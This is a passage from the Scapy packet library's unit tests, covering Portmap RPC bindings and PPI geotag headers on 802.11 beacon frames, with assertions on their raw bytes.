(pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100000, 2, 0) pkt = RPC()/RPC_Call()/GETPORT_Call() assert (pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100000, 2, 3) pkt = RPC()/RPC_Call()/DUMP_Call() assert (pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100000, 2, 4) = RPC Layer Bindings for Portmap replies from scapy.contrib.oncrpc import * pkt = RPC()/RPC_Reply()/NULL_Reply() assert pkt.mtype == 1 pkt = RPC()/RPC_Reply()/GETPORT_Reply() assert pkt.mtype == 1 pkt = RPC()/RPC_Reply()/DUMP_Reply() assert pkt.mtype == 1 + Test Built Packets vs Raw Strings = Portmap calls vs Raw Strings pkt = GETPORT_Call( prog=100003, vers=3, prot=6, port=0 ) assert bytes(pkt) == b'\x00\x01\x86\xa3\x00\x00\x00\x03\x00\x00\x00\x06\x00\x00\x00\x00' = Portmap replies vs Raw Strings pkt = GETPORT_Reply( port=2049 ) assert bytes(pkt) == b'\x00\x00\x08\x01' pkt = DUMP_Reply( value_follows=1, mappings=[ Map_Entry( prog=1, vers=2, prot=3, port=4, value_follows=1 ), Map_Entry( prog=5, vers=6, prot=7, port=8, value_follows=0 ) ] ) assert bytes(pkt) == b'\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00\x00\x04\x00\x00\x00\x01\x00\x00\x00\x05\x00\x00\x00\x06\x00\x00\x00\x07\x00\x00\x00\x08\x00\x00\x00\x00' scapy-2.4.4/test/contrib/ppi_cace.uts000066400000000000000000000612361372370053500175740ustar00rootroot00000000000000% PPI/PPI_CACE/PPI_GEOTAG Global Campaign # Test suite extracted from PPI_GEOLOCATION_SDK.zip\PPI_GEOLOCATION_SDK\pcaps\reference-pcaps\ppi_geo_examples.py + PPI Tests = Define test suite from scapy.contrib.ppi_cace import * from scapy.contrib.ppi_geotag import * def Pkt_10_1(): """GPS Only""" pkt = PPI(headers=[ PPI_Hdr()/PPI_Geotag_GPS(Latitude=40.787743,Longitude=-73.971210)])/\ Dot11(addr1="FF:FF:FF:FF:FF:FF",addr2="00:01:02:03:04:05",addr3="00:01:02:09:01:01")/\ Dot11Beacon()/Dot11Elt(ID=0,info="Test-10.1") return PPI(raw(pkt)) def Pkt_10_2(): """GPS + VECTOR + ANTENNA + RADIOTAP""" #No radiotap support yet... pkt = PPI(headers=[ PPI_Hdr()/PPI_Geotag_GPS(Latitude=40.787743, Longitude=-73.971210), PPI_Hdr()/PPI_Geotag_Vector(VectorFlags=0x02, VectorChars="Antenna", Pitch=90.0, Roll=0.0, Heading=0.0, DescString="Antenna-1 orientation"), PPI_Hdr()/PPI_Geotag_Antenna(AntennaFlags=0x02,Gain=8,HorizBw=360.0,ModelName="8dBi-MagMountOmni"), PPI_Hdr()/PPI_Dot11Common(Antsignal=-80,Antnoise=-110,Ch_Freq=2437)])/\ Dot11(addr1="FF:FF:FF:FF:FF:FF",addr2="00:01:02:03:04:05",addr3="00:01:02:09:01:02")/\ Dot11Beacon()/Dot11Elt(ID=0,info="Test-10.2") return PPI(raw(pkt)) def Pkt_10_3(): """Direction of travel + one directional antenna, with Pitch in ForwardFrame""" pkt = PPI(headers=[ PPI_Hdr()/PPI_Geotag_GPS(GPSFlags=0x02, Latitude=40.787743, Longitude=-73.971210), PPI_Hdr()/PPI_Geotag_Vector(VectorFlags=0x03, VectorChars=0x06, Pitch=10.0, Heading=22.5, DescString="VehicleVec"), PPI_Hdr()/PPI_Geotag_Sensor(SensorType="Velocity", Val_T=20.0), PPI_Hdr()/PPI_Geotag_Vector( VectorChars=0x01, Heading=90.0, DescString="AntennaVec"), PPI_Hdr()/PPI_Geotag_Antenna(AntennaFlags=0x02,Gain=9,HorizBw=120,ModelName="SA24-120-9"), PPI_Hdr()/PPI_Dot11Common(Antsignal=-75,Antnoise=-110,Ch_Freq=2437)])/\ Dot11(addr1="FF:FF:FF:FF:FF:FF",addr2="00:01:02:03:04:05",addr3="00:01:02:09:01:03")/\ Dot11Beacon()/Dot11Elt(ID=0,info="Test-10.3") return PPI(raw(pkt)) #Cause the fields to be built def Pkt_10_4(): """Two static directional antennas with offsets""" pkt = PPI(headers=[ PPI_Hdr()/PPI_Geotag_GPS(GPSFlags=0x02, Latitude=40.787743, Longitude=-73.971210, Altitude_g=2.00), PPI_Hdr()/PPI_Geotag_Vector(VectorFlags=0x03, VectorChars=0x06, Pitch=10.0, Heading=22.5), PPI_Hdr()/PPI_Geotag_Sensor(SensorType="Velocity", Val_T=8.5), PPI_Hdr()/PPI_Geotag_Sensor(SensorType="Acceleration", Val_T=0.5), PPI_Hdr()/PPI_Geotag_Vector(VectorFlags=0x00, VectorChars=0x01, Heading=90.0, Off_X=0.75, Off_Y=0.6, Off_Z=-0.2, DescString="Antenna1Vec"), PPI_Hdr()/PPI_Geotag_Antenna(AntennaFlags=0x02,Gain=9,HorizBw=120,ModelName="SA24-120-9",DescString="RightAntenna"), PPI_Hdr()/PPI_Dot11Common(Antsignal=-75,Antnoise=-110,Ch_Freq=2437), PPI_Hdr()/PPI_Geotag_Vector(VectorFlags=0x00, VectorChars=0x01, Heading=270.0, Off_X=-0.75, Off_Y=0.6, Off_Z=-0.2, DescString="Antenna2Vec"), PPI_Hdr()/PPI_Geotag_Antenna(AntennaFlags=0x02,Gain=9,HorizBw=120,ModelName="SA24-120-9",DescString="LeftAntenna"), PPI_Hdr()/PPI_Dot11Common(Antsignal=-95,Antnoise=-110,Ch_Freq=2437)])/\ Dot11(addr1="FF:FF:FF:FF:FF:FF",addr2="00:01:02:03:04:05",addr3="00:01:02:09:01:04")/\ Dot11Beacon()/Dot11Elt(ID=0,info="Test-10.4") return PPI(raw(pkt)) #Cause the fields to be built def Pkt_10_5(): """Similar to 10_3, but with a electronically steerable antenna""" pkt = PPI(headers=[ PPI_Hdr()/PPI_Geotag_GPS(GPSFlags=0x02, Latitude=40.787743, Longitude=-73.971210), PPI_Hdr()/PPI_Geotag_Vector(VectorFlags=0x03, VectorChars=0x06, Pitch=00.0, Heading=22.5, DescString="VehicleVec"), PPI_Hdr()/PPI_Geotag_Vector( VectorChars=0x01, Heading=120.0, DescString="AntennaVec"), PPI_Hdr()/PPI_Geotag_Antenna(AntennaFlags=0x010002,Gain=12,HorizBw=60,BeamID=0xF1A1, ModelName="ElectronicallySteerableExAntenna", AppId=0x04030201), PPI_Hdr()/PPI_Dot11Common(Antsignal=-75,Antnoise=-110,Ch_Freq=2437)])/\ Dot11(addr1="FF:FF:FF:FF:FF:FF",addr2="00:01:02:03:04:05",addr3="00:01:02:09:01:05")/\ Dot11Beacon()/Dot11Elt(ID=0,info="Test-10.5") return PPI(raw(pkt)) #Cause the fields to be built def Pkt_10_6(): """Mechanically steerable antenna. Non-intuitive forward""" pkt = PPI(headers=[ PPI_Hdr()/PPI_Geotag_GPS(GPSFlags=0x02, Latitude=40.787743, Longitude=-73.971210), PPI_Hdr()/PPI_Geotag_Vector(VectorFlags=0x02, VectorChars=0x06, Heading=22.5, DescString="VehicleVec"), PPI_Hdr()/PPI_Geotag_Vector(VectorFlags=0x03, VectorChars=0x00, Heading=202.5, DescString="ForwardVec"), PPI_Hdr()/PPI_Geotag_Vector(VectorFlags=0x00, VectorChars=0x01, Heading=75.0, DescString="AntennaVec"), PPI_Hdr()/PPI_Geotag_Antenna(AntennaFlags=0x020002,Gain=12,HorizBw=60,ModelName="MechanicallySteerableAnt"), PPI_Hdr()/PPI_Dot11Common(Antsignal=-77,Antnoise=-110,Ch_Freq=2437)])/\ Dot11(addr1="FF:FF:FF:FF:FF:FF",addr2="00:01:02:03:04:05",addr3="00:01:02:09:01:06")/\ Dot11Beacon()/Dot11Elt(ID=0,info="Test-10.6") return PPI(raw(pkt)) #Cause the fields to be built def Pkt_10_7(): """Drifting boat.""" pkt = PPI(headers=[ PPI_Hdr()/PPI_Geotag_GPS(GPSFlags=0x02, Latitude= 41.876154, Longitude=-87.608602), PPI_Hdr()/PPI_Geotag_Vector(VectorFlags=0x03, VectorChars=0x04, Heading=50.0, DescString="VehicleVec"), PPI_Hdr()/PPI_Geotag_Vector(VectorFlags=0x00, VectorChars=0x02, Heading=230.0, DescString="DOT-Vec"), PPI_Hdr()/PPI_Geotag_Vector(VectorFlags=0x00, VectorChars=0x01, Heading=90.0, DescString="AntennaVec"), PPI_Hdr()/PPI_Geotag_Antenna(AntennaFlags=0x02,Gain=9,HorizBw=120,ModelName="SA24-120-9"), PPI_Hdr()/PPI_Dot11Common(Antsignal=-77,Antnoise=-110,Ch_Freq=2437)])/\ Dot11(addr1="FF:FF:FF:FF:FF:FF",addr2="00:01:02:03:04:05",addr3="00:01:02:09:01:07")/\ Dot11Beacon()/Dot11Elt(ID=0,info="Test-10.7") return PPI(raw(pkt)) #Cause the fields to be built def Pkt_10_8(): """Time of arrival analysis""" pkt = PPI(headers=[ PPI_Hdr()/PPI_Geotag_GPS(GPSFlags="Manual Input", Latitude=41.861885, Longitude=-87.616926, GPSTime=1288720719, FractionalTime=0.20), PPI_Hdr()/PPI_Geotag_Vector(VectorFlags=0x02, VectorChars=0x01, Pitch=90.0, DescString="Antenna-1 orientation"), PPI_Hdr()/PPI_Geotag_Sensor(SensorType="TDOA_Clock", ScaleFactor=-9, Val_T=60.8754, AppId=0x04030201), PPI_Hdr()/PPI_Geotag_Antenna(AntennaFlags=0x01,Gain=5,HorizBw=360.0,ModelName="8dBi-Omni", DescString="Signal 1"), PPI_Hdr()/PPI_Dot11Common(Antsignal=-60), PPI_Hdr()/PPI_Geotag_GPS(GPSFlags="Manual Input", Latitude=41.861904, Longitude=-87.616365, GPSTime=1288720719, FractionalTime=0.20), PPI_Hdr()/PPI_Geotag_Vector(VectorFlags=0x02, VectorChars=0x01, Pitch=90.0, DescString="Antenna-2 orientation"), PPI_Hdr()/PPI_Geotag_Sensor(SensorType="TDOA_Clock", ScaleFactor=-9, Val_T=178.124, AppId=0x04030201), PPI_Hdr()/PPI_Geotag_Antenna(AntennaFlags=0x01,Gain=5,HorizBw=360.0,ModelName="8dBi-Omni", DescString="Signal 2"), PPI_Hdr()/PPI_Dot11Common(Antsignal=-80)])/\ Dot11(addr1="FF:FF:FF:FF:FF:FF",addr2="00:01:02:03:04:05",addr3="00:01:02:09:01:08")/\ Dot11Beacon()/Dot11Elt(ID=0,info="Test-10.8") return PPI(raw(pkt)) #Cause the fields to be built def Pkt_10_9(): """Time of arrival analysis(AOA)""" pkt = PPI(headers=[ PPI_Hdr()/PPI_Geotag_GPS(GPSFlags="Manual Input", Latitude=41.861904, Longitude=-87.616365, GPSTime=1288720719, FractionalTime=0.20), PPI_Hdr()/PPI_Geotag_Vector(VectorFlags=0x02, VectorChars=0x01, Pitch=90.0, DescString="Antenna-2 orientation"), PPI_Hdr()/PPI_Geotag_Vector(VectorFlags=0x02, VectorChars=0x08, Heading=323.4, Err_Rot=10.0, DescString="AOA at Antenna-2", AppId=0x04030201), PPI_Hdr()/PPI_Geotag_Antenna(AntennaFlags=0x01,Gain=5,HorizBw=360.0,ModelName="8dBi-Omni", DescString="Signal 2"), PPI_Hdr()/PPI_Dot11Common(Antsignal=-80)])/\ Dot11(addr1="FF:FF:FF:FF:FF:FF",addr2="00:01:02:03:04:05",addr3="00:01:02:09:01:098")/\ Dot11Beacon()/Dot11Elt(ID=0,info="Test-10.9") return PPI(raw(pkt)) #Cause the fields to be built def Pkt_10_10(): """Transmitter Position/AOA example""" pkt = PPI(headers=[ PPI_Hdr()/PPI_Geotag_GPS(GPSFlags="Manual Input", Latitude=41.861904, Longitude=-87.616365, GPSTime=1288720719, FractionalTime=0.20), PPI_Hdr()/PPI_Geotag_Vector(VectorFlags=0x02, VectorChars=0x01, Pitch=90.0, DescString="Antenna-2 orientation"), PPI_Hdr()/PPI_Geotag_Vector(VectorFlags=0x03, VectorChars=0x08, Heading=323.4, Err_Rot=10.0, DescString="AOA at Antenna-2", AppId=0x04030201), PPI_Hdr()/PPI_Geotag_Vector(VectorFlags=0x00, VectorChars=0x10, Off_Y=40, Err_Off=2.0, DescString="Transmitter Position", AppId=0x4030201), PPI_Hdr()/PPI_Geotag_Antenna(AntennaFlags=0x01,Gain=5,HorizBw=360.0,ModelName="8dBi-Omni", DescString="Signal 2"), PPI_Hdr()/PPI_Dot11Common(Antsignal=-80)])/\ Dot11(addr1="FF:FF:FF:FF:FF:FF",addr2="00:01:02:03:04:05",addr3="00:01:02:09:01:0A")/\ Dot11Beacon()/Dot11Elt(ID=0,info="Test-10.10") return PPI(raw(pkt)) #Cause the fields to be built def TestPackets(): """Returns a list of test packets""" return [ ("10.1", Pkt_10_1(), test_Pkt_10_1), ("10.2", Pkt_10_2(), test_Pkt_10_2), ("10.3", Pkt_10_3(), test_Pkt_10_3), ("10.4", Pkt_10_4(), test_Pkt_10_4), ("10.5", Pkt_10_5(), test_Pkt_10_5), ("10.6", Pkt_10_6(), test_Pkt_10_6), ("10.7", Pkt_10_7(), test_Pkt_10_7), ("10.8", Pkt_10_8(), test_Pkt_10_8), ("10.9", Pkt_10_9(), test_Pkt_10_9), ("10.10", Pkt_10_10(), test_Pkt_10_10) ] = Pkt_10_1 a = Pkt_10_1() raw(a) assert raw(a) == b'\x00\x00\x1c\x00i\x00\x00\x002u\x10\x00\x02\x00\x10\x00\x06\x00\x00\x006\x89\x99\x83\x9c\xb52?\x80\x00\x00\x00\xff\xff\xff\xff\xff\xff\x00\x01\x02\x03\x04\x05\x00\x01\x02\t\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x00\x00\x00\x00\tTest-10.1' assert a.headers[0].present == 6 assert a.headers[0].Latitude == 40.7877430 assert a[Dot11Beacon].beacon_interval == 100 assert a[Dot11Elt].info == b'Test-10.1' = Pkt_10_2 a = Pkt_10_2() a.show() assert raw(a) == b'\x00\x00\xa9\x00i\x00\x00\x002u\x10\x00\x02\x00\x10\x00\x06\x00\x00\x006\x89\x99\x83\x9c\xb52?3u<\x00\x02\x00<\x00\x1f\x00\x00\x10\x02\x00\x00\x00\x01\x00\x00\x00\x80J]\x05\x00\x00\x00\x00\x00\x00\x00\x00Antenna-1 orientation\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x005u1\x00\x02\x001\x00\x07\x00\x00\x08\x02\x00\x00\x00\x08\x00*u\x158dBi-MagMountOmni\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x85\t\x00\x00\x00\x00\xb0\x92\x80\x00\x00\x00\xff\xff\xff\xff\xff\xff\x00\x01\x02\x03\x04\x05\x00\x01\x02\t\x01\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x00\x00\x00\x00\tTest-10.2' assert isinstance(a.headers[0].payload, PPI_Geotag_GPS) assert a.headers[0].present == 6 assert isinstance(a.headers[1].payload, PPI_Geotag_Vector) assert a.headers[2].present == 134217735 assert isinstance(a.headers[2].payload, PPI_Geotag_Antenna) assert a.headers[2].HorizBw == 360.0 assert isinstance(a.headers[3].payload, PPI_Dot11Common) = Pkt_10_3 a = Pkt_10_3() assert raw(a) == b"\x00\x00\xef\x00i\x00\x00\x002u\x14\x00\x02\x00\x14\x00\x07\x00\x00\x00\x02\x00\x00\x006\x89\x99\x83\x9c\xb52?3u8\x00\x02\x008\x00\x17\x00\x00\x10\x03\x00\x00\x00\x06\x00\x00\x00\x80\x96\x98\x00\xa0RW\x01VehicleVec\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x004u\x0e\x00\x02\x00\x0e\x00!\x00\x00\x00\x01\x00@\xdfLk3u0\x00\x02\x000\x00\x12\x00\x00\x10\x01\x00\x00\x00\x80J]\x05AntennaVec\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x005u1\x00\x02\x001\x00\x07\x00\x00\x08\x02\x00\x00\x00\t\x00\x0e'\x07SA24-120-9\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x85\t\x00\x00\x00\x00\xb5\x92\x80\x00\x00\x00\xff\xff\xff\xff\xff\xff\x00\x01\x02\x03\x04\x05\x00\x01\x02\t\x01\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x00\x00\x00\x00\tTest-10.3" = Pkt_10_4 a = Pkt_10_4() assert raw(a) == b"\x00\x00\xc6\x01i\x00\x00\x002u\x18\x00\x02\x00\x18\x00\x17\x00\x00\x00\x02\x00\x00\x006\x89\x99\x83\x9c\xb52? Jk3u\x18\x00\x02\x00\x18\x00\x17\x00\x00\x00\x03\x00\x00\x00\x06\x00\x00\x00\x80\x96\x98\x00\xa0RW\x014u\x0e\x00\x02\x00\x0e\x00!\x00\x00\x00\x01\x00\x08\x1eKk4u\x0e\x00\x02\x00\x0e\x00!\x00\x00\x00\x02\x00\x88\xe5Ik3u@\x00\x02\x00@\x00\xf3\x00\x00\x10\x00\x00\x00\x00\x01\x00\x00\x00\x80J]\x05L\xefIkp\xe9Ik0\xcaIkAntenna1Vec\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x005uQ\x00\x02\x00Q\x00\x07\x00\x00\x18\x02\x00\x00\x00\t\x00\x0e'\x07SA24-120-9\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00RightAntenna\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x85\t\x00\x00\x00\x00\xb5\x923u@\x00\x02\x00@\x00\xf3\x00\x00\x10\x00\x00\x00\x00\x01\x00\x00\x00\x80\xdf\x17\x10\xb4\xb4Ikp\xe9Ik0\xcaIkAntenna2Vec\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x005uQ\x00\x02\x00Q\x00\x07\x00\x00\x18\x02\x00\x00\x00\t\x00\x0e'\x07SA24-120-9\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00LeftAntenna\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x85\t\x00\x00\x00\x00\xa1\x92\x80\x00\x00\x00\xff\xff\xff\xff\xff\xff\x00\x01\x02\x03\x04\x05\x00\x01\x02\t\x01\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x00\x00\x00\x00\tTest-10.4" = Pkt_10_5 a = Pkt_10_5() a.show() assert isinstance(a, PPI) assert raw(a) == b"\x00\x00\xe3\x00i\x00\x00\x002u\x14\x00\x02\x00\x14\x00\x07\x00\x00\x00\x02\x00\x00\x006\x89\x99\x83\x9c\xb52?3u8\x00\x02\x008\x00\x17\x00\x00\x10\x03\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\xa0RW\x01VehicleVec\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x003u0\x00\x02\x000\x00\x12\x00\x00\x10\x01\x00\x00\x00\x00\x0e'\x07AntennaVec\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x005u7\x00\x02\x007\x00'\x00\x00(\x02\x00\x01\x00\x0c\x00\x87\x93\x03\xa1\xf1ElectronicallySteerableExAntenna\x01\x02\x03\x04\x02\x00\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x85\t\x00\x00\x00\x00\xb5\x92\x80\x00\x00\x00\xff\xff\xff\xff\xff\xff\x00\x01\x02\x03\x04\x05\x00\x01\x02\t\x01\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x00\x00\x00\x00\tTest-10.5" = Pkt_10_6 a = Pkt_10_6() assert raw(a) == b'\x00\x00\x15\x01i\x00\x00\x002u\x14\x00\x02\x00\x14\x00\x07\x00\x00\x00\x02\x00\x00\x006\x89\x99\x83\x9c\xb52?3u4\x00\x02\x004\x00\x13\x00\x00\x10\x02\x00\x00\x00\x06\x00\x00\x00\xa0RW\x01VehicleVec\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x003u4\x00\x02\x004\x00\x13\x00\x00\x10\x03\x00\x00\x00\x00\x00\x00\x00\xa0\xe7\x11\x0cForwardVec\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x003u4\x00\x02\x004\x00\x13\x00\x00\x10\x00\x00\x00\x00\x01\x00\x00\x00\xc0hx\x04AntennaVec\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x005u1\x00\x02\x001\x00\x07\x00\x00\x08\x02\x00\x02\x00\x0c\x00\x87\x93\x03MechanicallySteerableAnt\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x85\t\x00\x00\x00\x00\xb3\x92\x80\x00\x00\x00\xff\xff\xff\xff\xff\xff\x00\x01\x02\x03\x04\x05\x00\x01\x02\t\x01\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x00\x00\x00\x00\tTest-10.6' = Pkt_10_7 a = Pkt_10_7() assert raw(a) == b"\x00\x00\x15\x01i\x00\x00\x002u\x14\x00\x02\x00\x14\x00\x07\x00\x00\x00\x02\x00\x00\x00D\x9d?\x84\xfc\xce\x1173u4\x00\x02\x004\x00\x13\x00\x00\x10\x03\x00\x00\x00\x04\x00\x00\x00\x80\xf0\xfa\x02VehicleVec\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x003u4\x00\x02\x004\x00\x13\x00\x00\x10\x00\x00\x00\x00\x02\x00\x00\x00\x80\x85\xb5\rDOT-Vec\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x003u4\x00\x02\x004\x00\x13\x00\x00\x10\x00\x00\x00\x00\x01\x00\x00\x00\x80J]\x05AntennaVec\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x005u1\x00\x02\x001\x00\x07\x00\x00\x08\x02\x00\x00\x00\t\x00\x0e'\x07SA24-120-9\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x85\t\x00\x00\x00\x00\xb3\x92\x80\x00\x00\x00\xff\xff\xff\xff\xff\xff\x00\x01\x02\x03\x04\x05\x00\x01\x02\t\x01\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x00\x00\x00\x00\tTest-10.7" assert a.headers[5].Antnoise == -110 assert isinstance(a[Dot11].payload, Dot11Beacon) = Pkt_10_8 a = Pkt_10_8() a.show() assert raw(a) == b'\x00\x00\xc0\x01i\x00\x00\x002u\x1c\x00\x02\x00\x1c\x00g\x00\x00\x00\x80\x00\x00\x00\xe2o=\x84\xd4\x89\x107L\xd0QO\x00\xc2\xeb\x0b3u4\x00\x02\x004\x00\x07\x00\x00\x10\x02\x00\x00\x00\x01\x00\x00\x00\x80J]\x05Antenna-1 orientation\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x004u\x13\x00\x02\x00\x13\x00#\x00\x00 \xd0\x07\xf7\xf2\x1bSk\x01\x02\x03\x045uQ\x00\x02\x00Q\x00\x07\x00\x00\x18\x01\x00\x00\x00\x05\x00*u\x158dBi-Omni\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00Signal 1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc4\x802u\x1c\x00\x02\x00\x1c\x00g\x00\x00\x00\x80\x00\x00\x00\xa0p=\x84\xbe\x9f\x107L\xd0QO\x00\xc2\xeb\x0b3u4\x00\x02\x004\x00\x07\x00\x00\x10\x02\x00\x00\x00\x01\x00\x00\x00\x80J]\x05Antenna-2 orientation\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x004u\x13\x00\x02\x00\x13\x00#\x00\x00 \xd0\x07\xf7\xf8\xffdk\x01\x02\x03\x045uQ\x00\x02\x00Q\x00\x07\x00\x00\x18\x01\x00\x00\x00\x05\x00*u\x158dBi-Omni\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00Signal 2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb0\x80\x80\x00\x00\x00\xff\xff\xff\xff\xff\xff\x00\x01\x02\x03\x04\x05\x00\x01\x02\t\x01\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x00\x00\x00\x00\tTest-10.8' assert isinstance(a.headers[7].payload, PPI_Geotag_Sensor) assert a.headers[7].ScaleFactor == -9 assert a.headers[7].pfh_length == 19 = Pkt_10_9 a = Pkt_10_9() assert raw(a) == b'\x00\x00\r\x01i\x00\x00\x002u\x1c\x00\x02\x00\x1c\x00g\x00\x00\x00\x80\x00\x00\x00\xa0p=\x84\xbe\x9f\x107L\xd0QO\x00\xc2\xeb\x0b3u4\x00\x02\x004\x00\x07\x00\x00\x10\x02\x00\x00\x00\x01\x00\x00\x00\x80J]\x05Antenna-2 orientation\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x003u<\x00\x02\x00<\x00\x13\x00\x010\x02\x00\x00\x00\x08\x00\x00\x00@\xb1F\x13\x80\x96\x98\x00AOA at Antenna-2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x03\x045uQ\x00\x02\x00Q\x00\x07\x00\x00\x18\x01\x00\x00\x00\x05\x00*u\x158dBi-Omni\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00Signal 2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb0\x80\x80\x00\x00\x00\xff\xff\xff\xff\xff\xff\x00\x01\x02\x03\x04\x05\x00\x01\x02\t\x01\x98\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x00\x00\x00\x00\tTest-10.9' assert a.headers[2].DescString == b'AOA at Antenna-2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = Pkt_10_10 a = Pkt_10_10() assert raw(a) == b'\x00\x00M\x01i\x00\x00\x002u\x1c\x00\x02\x00\x1c\x00g\x00\x00\x00\x80\x00\x00\x00\xa0p=\x84\xbe\x9f\x107L\xd0QO\x00\xc2\xeb\x0b3u4\x00\x02\x004\x00\x07\x00\x00\x10\x02\x00\x00\x00\x01\x00\x00\x00\x80J]\x05Antenna-2 orientation\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x003u<\x00\x02\x00<\x00\x13\x00\x010\x03\x00\x00\x00\x08\x00\x00\x00@\xb1F\x13\x80\x96\x98\x00AOA at Antenna-2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x03\x043u<\x00\x02\x00<\x00C\x00\x020\x00\x00\x00\x00\x10\x00\x00\x00\x80\xecOk JkTransmitter Position\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x03\x045uQ\x00\x02\x00Q\x00\x07\x00\x00\x18\x01\x00\x00\x00\x05\x00*u\x158dBi-Omni\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00Signal 